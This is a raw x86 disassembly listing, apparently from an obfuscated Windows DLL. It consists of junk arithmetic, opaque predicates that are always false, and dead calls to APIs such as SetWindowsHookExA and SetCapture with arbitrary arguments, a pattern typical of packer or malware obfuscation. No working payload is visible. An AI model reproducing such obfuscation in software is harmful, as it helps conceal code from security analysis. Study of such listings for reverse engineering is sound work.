cmp edx, eax
sete cl
xor eax, eax
cmp ecx, 0x5a7a
setge al
xor ecx, ecx
cmp eax, 0xbf7c
mov eax, dword [ebp - 0x494]
setne cl
xor edx, edx
imul ecx, eax
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov eax, dword [ebp - 0x4a0]
setne dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x4c], ecx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edi
jle 0x1002bd3e
push 2
xor eax, eax
or ecx, 0xffffffff
pop ebx
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ebx
jg 0x1002c5d5
jmp 0x1002be18
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x2c], 0x833fcb50
mov dword [ebp - 0x2c], 0xe60f951
mov dword [ebp - 0x2c], 0xfffffffe
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x2c], 0x6b8f3d42
mov dword [ebp - 0x2c], 0xf14c90d2
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x2c], 0x80031aa0
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x3c], 0x96e6
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x1002be74
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x10bc], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1002be60
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002be99
push 0x15e3
push 0x1e37
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowLongA]
xor eax, eax
or ecx, 0xffffffff
dec dword [ebp - 0x3c]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x20], 0x60cbeb96
mov dword [ebp - 0x18], 0x4b5a9cea
mov dword [ebp - 0x24], 0xfffffffa
mov dword [ebp - 0x1c], eax
jmp 0x1002bec6
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x830], edi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002beb9
mov eax, dword [ebp - 0x28]
xor edx, edx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
test eax, eax
sets dl
sub edx, dword [ebp - 0x28]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
sub edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
cmp edx, eax
mov eax, dword [ebp - 0x28]
setne cl
xor edx, edx
cmp ecx, 0x4d4e
setne dl
xor ecx, ecx
cmp eax, edx
setge cl
xor eax, eax
cmp ecx, dword [ebp - 0x28]
je 0x1002bf11
cmp dword [ebp - 0x18], eax
jne 0x1002bf18
mov ecx, eax
cmp dword [ebp - 0x18], eax
je 0x1002bf1a
mov ecx, esi
xor edx, edx
mov dword [ebp - 0x82c], esi
mov dword [ebp - 0x20], esi
mov eax, dword [ebp - 0x28]
cmp ecx, eax
setg dl
xor ecx, ecx
imul edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
neg edx
cmp edx, eax
mov eax, dword [ebp - 0x28]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x28]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setl dl
xor ecx, ecx
cmp eax, edx
setle cl
xor edx, edx
or eax, 0xffffffff
cmp ecx, eax
setg dl
xor ecx, ecx
imul edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
cmp edx, eax
setge cl
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x24], 0xfffffffb
jmp 0x1002bff9
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x1002bfac
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x284], 4
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1002bf94
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002bfc5
push eax
push 0xb85
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x284]
mov eax, dword [ebp - 0x284]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x284]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x830]
mov dword [ebp - 0x3c], 0x6e20b395
inc dword [ebp - 0x24]
xor eax, eax
cmp dword [ebp - 0x24], 0xd
jl 0x1002bf89
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1002c024
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xb20], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002c00c
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1002c040
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xb20], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002c02c
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002c051
call dword [sym.imp.USER32.dll_ReleaseCapture]
xor eax, eax
mov dword [ebp - 0x28], eax
or ecx, 0xffffffff
cmp dword [ebp - 0x28], edi
jge 0x1002c070
dec dword [ebp - 0x14]
push 0
pop eax
jns 0x1002b431
mov edi, dword [sym.imp.USER32.dll_GetDlgItem]
xor ecx, ecx
mov esi, 0x3f6a0837
mov dword [ebp - 0x1c], esi
inc ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x44], 8
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x1002c619
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x74], 0x97f6af11
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002c604
xor eax, eax
mov ebx, dword [sym.imp.USER32.dll_GetKeyboardType]
push 0xfffffffffffffff6
pop edx
mov dword [ebp - 0x74], 0x12
cmp dword [ebp - 0x74], edx
jle 0x1002c6dd
jmp 0x1002c636
xor eax, eax
mov dword [ebp - 0x20], 0x3773672d
mov dword [ebp - 0x3c], 0xd61fb9a3
mov dword [ebp - 0x18], eax
jmp 0x1002c65a
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x4dc], 0x12e1dfe0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002c649
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x4dc]
mov eax, dword [ebp - 0x4d8]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x703026d8
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x4d8]
mov eax, dword [ebp - 0x74]
neg eax
sbb eax, eax
neg eax
cmp eax, dword [ebp - 0x74]
jge 0x1002c6af
xor eax, eax
cmp dword [ebp - 0x74], eax
je 0x1002c6b1
mov eax, ecx
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x44], eax
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1002c6d1
push 0x213d
call ebx
xor ecx, ecx
push 0xfffffffffffffff6
inc ecx
pop edx
dec dword [ebp - 0x74]
cmp dword [ebp - 0x74], edx
jg 0x1002c634
or eax, 0xffffffff
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x1002c703
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xf78], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002c6ee
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002c71c
push 0x12ac
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
xor eax, eax
mov dword [ebp - 0x18], 2
cmp dword [ebp - 0x18], eax
jl 0x1002c746
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002c741
push 0x12ac
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
xor eax, eax
dec dword [ebp - 0x18]
jns 0x1002c728
xor edx, edx
mov dword [ebp - 0x1c], esi
inc edx
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x44], 8
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edx
jge 0x1002c773
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x78], 0x97f6af11
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1002c75e
xor eax, eax
mov dword [ebp - 0x78], 0x12
cmp dword [ebp - 0x78], 0xfffffff6
jle 0x1002c835
push 0xfffffffffffffff6
pop edi
jmp 0x1002c78b
xor eax, eax
mov dword [ebp - 0x20], 0x3773672d
mov dword [ebp - 0x3c], 0xd61fb9a3
mov dword [ebp - 0x18], eax
jmp 0x1002c7af
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x4e4], 0x12e1dfe0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002c79e
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x4e4]
mov eax, dword [ebp - 0x4e0]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x703026d8
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x4e0]
mov eax, dword [ebp - 0x78]
neg eax
sbb eax, eax
neg eax
cmp eax, dword [ebp - 0x78]
jge 0x1002c804
xor eax, eax
cmp dword [ebp - 0x78], eax
je 0x1002c806
mov eax, edx
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x44], eax
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1002c823
push 0x213d
call ebx
xor edx, edx
inc edx
dec dword [ebp - 0x78]
cmp dword [ebp - 0x78], edi
jg 0x1002c789
mov edi, dword [sym.imp.USER32.dll_GetDlgItem]
xor eax, eax
mov dword [ebp - 0x1c], 0xbeb0647d
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x1002c860
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xd84], 0xca631852
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002c847
xor eax, eax
mov dword [ebp - 0x1c], eax
mov ecx, 0x44455595
jmp 0x1002c8b8
mov dword [ebp - 0x2c], 0xeb9ae77a
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0x98], ecx
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x90], ecx
mov dword [ebp - 0x3c], 0xfffffffd
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x1002c8b2
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1148], 0xf3f6085e
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1002c899
xor eax, eax
dec dword [ebp - 0x3c]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jle 0x1002c86a
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x44], 8
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edx
jge 0x1002c8e7
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x80], 0x97f6af11
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1002c8d2
xor eax, eax
push 0xfffffffffffffff6
pop esi
mov dword [ebp - 0x80], 0x12
cmp dword [ebp - 0x80], esi
jle 0x1002c9a2
jmp 0x1002c8fe
xor eax, eax
mov dword [ebp - 0x20], 0x3773672d
mov dword [ebp - 0x3c], 0xd61fb9a3
mov dword [ebp - 0x18], eax
jmp 0x1002c922
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x56c], 0x12e1dfe0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002c911
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x56c]
mov eax, dword [ebp - 0x568]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x703026d8
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x568]
mov eax, dword [ebp - 0x80]
neg eax
sbb eax, eax
neg eax
cmp eax, dword [ebp - 0x80]
jge 0x1002c977
xor eax, eax
cmp dword [ebp - 0x80], eax
je 0x1002c979
mov eax, edx
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x44], eax
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1002c996
push 0x213d
call ebx
xor edx, edx
inc edx
dec dword [ebp - 0x80]
cmp dword [ebp - 0x80], esi
jg 0x1002c8fc
or ebx, 0xffffffff
push 7
pop eax
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], edx
xor edx, edx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x4c], 0xadd63529
mov dword [ebp - 0x44], 4
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setne dl
sub eax, edx
neg eax
sbb eax, eax
xor edx, edx
inc eax
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
cmp eax, ecx
mov eax, dword [ebp - 0x38]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, ebx
setl cl
sub eax, ecx
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
setle dl
sub edx, dword [ebp - 0x1c]
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x44], edx
jne 0x1002ca2d
xor eax, eax
cmp dword [ebp - 0x38], eax
jne 0x1002ca2d
mov edx, eax
jmp 0x1002ca32
xor eax, eax
lea edx, [eax + 1]
mov eax, dword [ebp - 0x38]
xor ecx, ecx
mov esi, dword [sym.imp.USER32.dll_SetCapture]
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setne cl
xor edx, edx
sub ecx, 0x8e35
cmp ecx, eax
mov eax, dword [ebp - 0x4c]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
mov dword [ebp - 0x44], ecx
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1002ca74
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call esi
xor eax, eax
mov dword [ebp - 0x2c], 8
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002ca93
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetMenu]
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002caab
push 0x25e2
push eax
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
xor eax, eax
mov dword [ebp - 0x24], 0xebaeef20
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x1002cad4
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xe14], 0xfffffffb
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1002cabb
xor eax, eax
push 3
pop edx
mov dword [ebp - 0x24], edx
cmp dword [ebp - 0x24], eax
jl 0x1002cb73
mov dword [ebp - 0x1c], 0xd37ad435
mov dword [ebp - 0x44], ebx
mov eax, dword [ebp - 0x24]
cmp dword [ebp + eax*4 - 0xe14], 0
jne 0x1002cb71
mov dword [ebp - 0x1c], edx
xor eax, eax
cmp dword [ebp - 0x1c], eax
jl 0x1002cb68
mov dword [ebp - 0x20], 5
xor edx, edx
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setle dl
xor ecx, ecx
cmp eax, edx
setle cl
sub ecx, 0x840eb449
neg ecx
sbb ecx, ecx
xor ebx, ebx
inc ecx
mov dword [ebp - 0x44], ecx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setle bl
sub ebx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
neg ebx
sbb ebx, ebx
xor edx, edx
inc ebx
cmp ebx, dword [ebp - 0x44]
setne dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x44], ecx
dec dword [ebp - 0x1c]
jns 0x1002cb04
push 3
pop edx
or ebx, 0xffffffff
dec dword [ebp - 0x24]
jns 0x1002cae3
xor eax, eax
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edx
jge 0x1002cb96
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x13c], 0xfffffff8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1002cb7e
xor eax, eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0x12
je 0x1002cca2
xor edi, edi
mov ebx, 0x5034859b
inc edi
jmp 0x1002cbb5
xor eax, eax
push 7
pop ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x904], ebx
mov dword [ebp - 0x900], ebx
mov dword [ebp - 0x8fc], ebx
mov dword [ebp - 0x8f8], ebx
mov dword [ebp - 0x44], edx
cmp dword [ebp - 0x138], eax
jne 0x1002cc09
mov ecx, dword [ebp - 0x13c]
sub ecx, dword [ebp - 0x18]
neg ecx
sbb ecx, ecx
xor eax, eax
add ecx, 0xffff0728
or edx, 0xffffffff
cmp ecx, edx
setle al
cmp eax, dword [ebp - 0x134]
jne 0x1002cc09
xor eax, eax
mov edx, eax
jmp 0x1002cc0b
mov edx, edi
mov eax, dword [ebp - 0x13c]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x13c]
setne cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x18]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x13c]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setne dl
xor ecx, ecx
cmp eax, edx
setge cl
mov dword [ebp - 0x8fc], ecx
cmp dword [ebp - 0x13c], edi
mov eax, dword [ebp - 0x18]
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setle cl
cmp ecx, 0xfffffffb
je 0x1002cc71
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x13c], eax
je 0x1002cc73
mov edx, edi
mov eax, dword [ebp - 0x13c]
xor ecx, ecx
cmp edx, eax
push 3
sete cl
mov dword [ebp - 0x44], ecx
inc dword [ebp - 0x13c]
cmp dword [ebp - 0x13c], 0x12
pop edx
jne 0x1002cbb3
mov edi, dword [sym.imp.USER32.dll_GetDlgItem]
or ebx, 0xffffffff
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x13c], eax
xor eax, eax
mov dword [ebp - 0x24], 0xebaeef20
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x1002ccd9
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xe2c], 0xfffffffb
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1002ccc0
xor eax, eax
mov dword [ebp - 0x24], edx
cmp dword [ebp - 0x24], eax
jl 0x1002cd75
mov dword [ebp - 0x1c], 0xd37ad435
mov dword [ebp - 0x44], ebx
mov eax, dword [ebp - 0x24]
cmp dword [ebp + eax*4 - 0xe2c], 0
jne 0x1002cd73
mov dword [ebp - 0x1c], edx
xor eax, eax
cmp dword [ebp - 0x1c], eax
jl 0x1002cd6a
mov dword [ebp - 0x20], 5
xor edx, edx
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setle dl
xor ecx, ecx
cmp eax, edx
setle cl
sub ecx, 0x840eb449
neg ecx
sbb ecx, ecx
xor ebx, ebx
inc ecx
mov dword [ebp - 0x44], ecx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setle bl
sub ebx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
neg ebx
sbb ebx, ebx
xor edx, edx
inc ebx
cmp ebx, dword [ebp - 0x44]
setne dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x44], ecx
dec dword [ebp - 0x1c]
jns 0x1002cd06
push 3
pop edx
or ebx, 0xffffffff
dec dword [ebp - 0x24]
jns 0x1002cce5
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edx
jge 0x1002cd95
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1074], 0xfffffff6
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1002cd7d
xor eax, eax
mov dword [ebp - 0x24], 0xfffffffd
mov dword [ebp - 0x14], 8
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x1002cdc8
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x434], 0xde0bcd8c
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002cdaf
xor eax, eax
xor ebx, ebx
mov dword [ebp - 0x24], eax
inc ebx
cmp dword [ebp - 0x24], ebx
jg 0x1002ce92
mov eax, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x434]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x430]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setl dl
xor ecx, ecx
cmp edx, ebx
setge cl
xor ebx, ebx
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setl bl
mov edx, dword [ebp + eax*4 - 0x434]
xor eax, eax
cmp ebx, 0xd0b5
setne al
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
cmp ecx, 0x6b6feb9e
setg al
xor ebx, ebx
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x14], eax
inc ebx
jmp 0x1002ce7c
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], eax
jl 0x1002ce79
or ecx, 0xffffffff
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], eax
jl 0x1002ce74
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002ce6c
push 0xbf7
push eax
push 0x582
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
xor eax, eax
dec dword [ebp - 0x1c]
jns 0x1002ce4f
or ecx, 0xffffffff
dec dword [ebp - 0x18]
jns 0x1002ce44
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x1002ce39
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jle 0x1002cdd7
push 3
xor eax, eax
pop edx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1002ceb4
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x434], 0xbc248910
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002ce9b
xor eax, eax
mov dword [ebp - 0x28], 0xfffd
mov dword [ebp - 0x3c], 0xdbf0cf86
mov dword [ebp - 0x44], 0xa84cbed5
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x1002ceeb
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xa54], 0x2716
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002ced2
xor eax, eax
mov ecx, 0x2751c76d
cmp dword [ebp - 0x28], eax
je 0x1002d061
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edx
jge 0x1002cf1c
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x250], 0x7d8e
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1002cf04
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x1002cf8a
mov dword [ebp - 0x3fc], ecx
mov dword [ebp - 0x3f8], ecx
mov dword [ebp - 0x3f4], ecx
mov dword [ebp - 0x3f0], ecx
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002cf58
push 0x602
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
push 3
xor eax, eax
mov ecx, 0x2751c76d
pop edx
mov dword [ebp - 0x3fc], eax
cmp dword [ebp - 0x3fc], edx
jge 0x1002cf87
mov eax, dword [ebp - 0x3fc]
mov dword [ebp + eax*4 - 0x250], 0xfffc
inc dword [ebp - 0x3fc]
cmp dword [ebp - 0x3fc], edx
jl 0x1002cf66
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x3b
je 0x1002cf21
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 2
jg 0x1002d07e
mov eax, dword [ebp - 0x28]
xor eax, eax
cmp dword [ebp - 0x248], eax
jne 0x1002cfba
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x250]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x250]
mov eax, dword [ebp - 0x24c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x250]
mov eax, dword [ebp - 0x248]
cmp eax, 0x5c22c920
setle cl
cmp ecx, ebx
jge 0x1002cff4
mov dword [ebp - 0x1c], 0x5dd7582b
jmp 0x1002d004
mov eax, dword [ebp - 0xa54]
xor ecx, ecx
cmp eax, ebx
setge cl
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x24c]
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x1002d01b
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x250]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x248]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x250]
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x1c], eax
je 0x1002d039
mov ecx, ebx
xor eax, eax
cmp ecx, 0x46e4944c
mov ecx, 0xffff
setge al
cmp ecx, eax
sbb eax, eax
neg eax
mov dword [ebp - 0x1c], eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 2
jle 0x1002cf9d
jmp 0x1002d07c
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002d07e
push 0x1f21
push eax
push eax
push 0x3c2
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002d126
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x1c], 0xffffffe7
cmp dword [ebp - 0x1c], 5
jg 0x1002d116
push 7
pop ecx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], 0xfffffff2
jne 0x1002d10d
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002d101
push eax
push 0x24b8
push 0x1aa5
push 0x70a
push 0x3d4
push 0x4b7
push 0x1449
push 0x2278
push 0x113f
push 0x2265
push 0x1e0d
push 0x1eab
push 0x86f
push 0x1337
call dword [sym.imp.GDI32.dll_CreateFontA]
xor eax, eax
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff2
je 0x1002d0ae
push 7
pop ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 5
jle 0x1002d0a2
push 0x12ac
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
xor eax, eax
mov dword [ebp - 0x14], 0x7e2799ac
or ecx, 0xffffffff
mov dword [ebp - 0x1c], 0xaa53f0d3
mov dword [ebp - 0x20], 0x1cf717c9
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x48], 0xfffffff7
